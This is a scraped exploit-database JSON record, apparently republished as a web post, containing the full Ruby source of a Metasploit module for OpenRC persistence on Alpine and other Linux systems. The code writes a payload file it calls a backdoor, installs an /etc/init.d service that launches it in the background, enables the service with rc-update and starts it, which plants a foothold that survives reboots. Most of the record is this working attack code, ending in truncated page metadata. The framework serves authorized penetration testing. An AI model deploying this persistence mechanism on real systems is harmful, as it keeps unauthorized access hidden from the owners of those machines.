{“lastseen”:”2025-09-16T19:07:47″,”description”:”This module will create a service on the box via OpenRC, and mark it for auto-restart. We need enough access to write…”,”published”:”2025-09-16T18:53:36″,”modified”:”2025-09-16T18:53:36″,”type”:”metasploit”,”title”:”Init OpenRC Persistence”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n\\n include Msf::Post::File\\n include Msf::Post::Unix\\n include Msf::Exploit::FileDropper\\n include Msf::Exploit::EXE # for generate_payload_exe\\n include Msf::Exploit::Local::Persistence\\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Exploit::Deprecated\\n moved_from ‘exploits\/linux\/local\/service_persistence’\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Init OpenRC Persistence’,\\n ‘Description’ =\\u003e %q{\\n This module will create a service on the box via OpenRC, and mark it for auto-restart.\\n We need enough access to write service files and potentially restart services.\\n Verified against alpine 3.21.2\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘h00die’,\\n ],\\n ‘Platform’ =\\u003e [‘unix’, ‘linux’],\\n ‘Targets’ =\\u003e [\\n [‘Automatic’, {}]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Arch’ =\\u003e [\\n ARCH_CMD,\\n ARCH_X86,\\n ARCH_X64,\\n ARCH_ARMLE,\\n ARCH_AARCH64,\\n ARCH_PPC,\\n ARCH_MIPSLE,\\n ARCH_MIPSBE\\n ],\\n ‘References’ =\\u003e [\\n [‘URL’, ‘https:\/\/www.digitalocean.com\/community\/tutorials\/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples’],\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],\\n [‘URL’, ‘https:\/\/wiki.alpinelinux.org\/wiki\/Writing_Init_Scripts’],\\n [‘URL’, ‘https:\/\/wiki.alpinelinux.org\/wiki\/OpenRC’],\\n [‘URL’, ‘https:\/\/github.com\/OpenRC\/openrc\/blob\/master\/service-script-guide.md’],\\n ],\\n ‘SessionTypes’ =\\u003e [‘shell’, ‘meterpreter’],\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n },\\n ‘DisclosureDate’ =\\u003e ‘2007-04-05’ # openrc release date\\n )\\n )\\n\\n register_options(\\n [\\n OptString.new(‘SERVICE’, [false, ‘Name of service to create’]),\\n OptString.new(‘PAYLOAD_NAME’, [false, ‘Name of the payload file to write’]),\\n ]\\n )\\n register_advanced_options(\\n [\\n OptBool.new(‘EnableService’, [true, ‘Enable the service’, true])\\n ]\\n )\\n end\\n\\n def check\\n print_warning(‘Payloads in \/tmp will only last until reboot, you want to choose elsewhere.’) if writable_dir.start_with?(‘\/tmp’)\\n return CheckCode::Safe(\\”#{writable_dir} doesnt exist\\”) unless exists?(writable_dir)\\n return CheckCode::Safe(\\”#{writable_dir} isnt writable\\”) unless writable?(writable_dir)\\n return CheckCode::Safe(‘\/etc\/init.d\/ doesnt exist’) unless exists?(‘\/etc\/init.d\/’)\\n return CheckCode::Safe(‘\/etc\/init.d\/ isnt writable’) unless writable?(‘\/etc\/init.d\/’)\\n\\n return CheckCode::Safe(‘Likely not an openrc based system’) unless command_exists?(‘openrc’)\\n\\n CheckCode::Appears(\\”#{writable_dir} is writable and system is openrc based\\”)\\n end\\n\\n def install_persistence\\n print_warning(‘Payloads in \/tmp will only last until reboot, you want to choose elsewhere.’) if writable_dir.start_with?(‘\/tmp’)\\n backdoor = write_shell(writable_dir)\\n\\n path = backdoor.split(‘\/’)[0…-1].join(‘\/’)\\n file = backdoor.split(‘\/’)[-1]\\n\\n openrc(path, file)\\n end\\n\\n def write_shell(path)\\n file_name = datastore[‘PAYLOAD_NAME’] || Rex::Text.rand_text_alpha(5..10)\\n backdoor = \\”#{path}\/#{file_name}\\”\\n vprint_status(\\”Writing backdoor to #{backdoor}\\”)\\n\\n if payload.arch.first == ‘cmd’\\n write_file(backdoor, payload.encoded)\\n chmod(backdoor, 0o755)\\n else\\n upload_and_chmodx(backdoor, generate_payload_exe)\\n end\\n\\n @clean_up_rc \\u003c\\u003c \\”rm #{backdoor}\\\\n\\”\\n\\n fail_with(Failure::NoAccess, ‘File not written, check permissions.’) unless file_exist?(backdoor)\\n backdoor\\n end\\n\\n def openrc(backdoor_path, backdoor_file)\\n if payload.arch.first == ‘cmd’\\n script = %(#!\/sbin\/openrc-run\\nname=#{backdoor_file}\\ncommand=\/bin\/sh\\ncommand_args=\\”#{backdoor_path}\/#{backdoor_file}\\”\\npidfile=\\”\/run\/${RC_SVCNAME}.pid\\”\\ncommand_background=\\”yes\\”\\n)\\n else\\n script = %(#!\/sbin\/openrc-run\\nname=#{backdoor_file}\\ncommand=\\”#{backdoor_path}\/#{backdoor_file}\\”\\ncommand_args=\\”\\”\\npidfile=\\”\/run\/${RC_SVCNAME}.pid\\”\\ncommand_background=\\”yes\\”\\n)\\n end\\n\\n service_filename = datastore[‘SERVICE’] || Rex::Text.rand_text_alpha(7..12)\\n service_path = \\”\/etc\/init.d\/#{service_filename}\\”\\n vprint_status(\\”Writing service: #{service_path}\\”)\\n begin\\n upload_and_chmodx(service_path, script)\\n @clean_up_rc \\u003c\\u003c \\”rm #{service_path}\\\\n\\”\\n rescue Rex::Post::Meterpreter::RequestError\\n print_error(\\”Writing ‘#{service_path}’ to the target and or changing the file permissions failed\\”)\\n end\\n\\n fail_with(Failure::NoAccess, ‘Service file not written, check permissions.’) unless file_exist?(service_path)\\n\\n if datastore[‘EnableService’]\\n vprint_status(‘Enabling service’)\\n cmd_exec(\\”rc-update add ‘#{service_filename}’\\”)\\n @clean_up_rc \\u003c\\u003c \\”execute -f sh -a \\\\\\”-c ‘rc-update del #{service_filename}’\\\\\\”\\”\\n end\\n\\n print_good(‘Starting service’)\\n cmd_exec(\\”‘#{service_path}’ start\\”)\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/persistence\/init_openrc.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/persistence\/init_openrc\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-09-16T19:07:47″,”description”:”This module will create a service on the box via OpenRC, and mark it for auto-restart. We need enough access to write…”,”published”:”2025-09-16T18:53:36″,”modified”:”2025-09-16T18:53:36″,”type”:”metasploit”,”title”:”Init OpenRC Persistence”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_OPENRC-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-17675","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n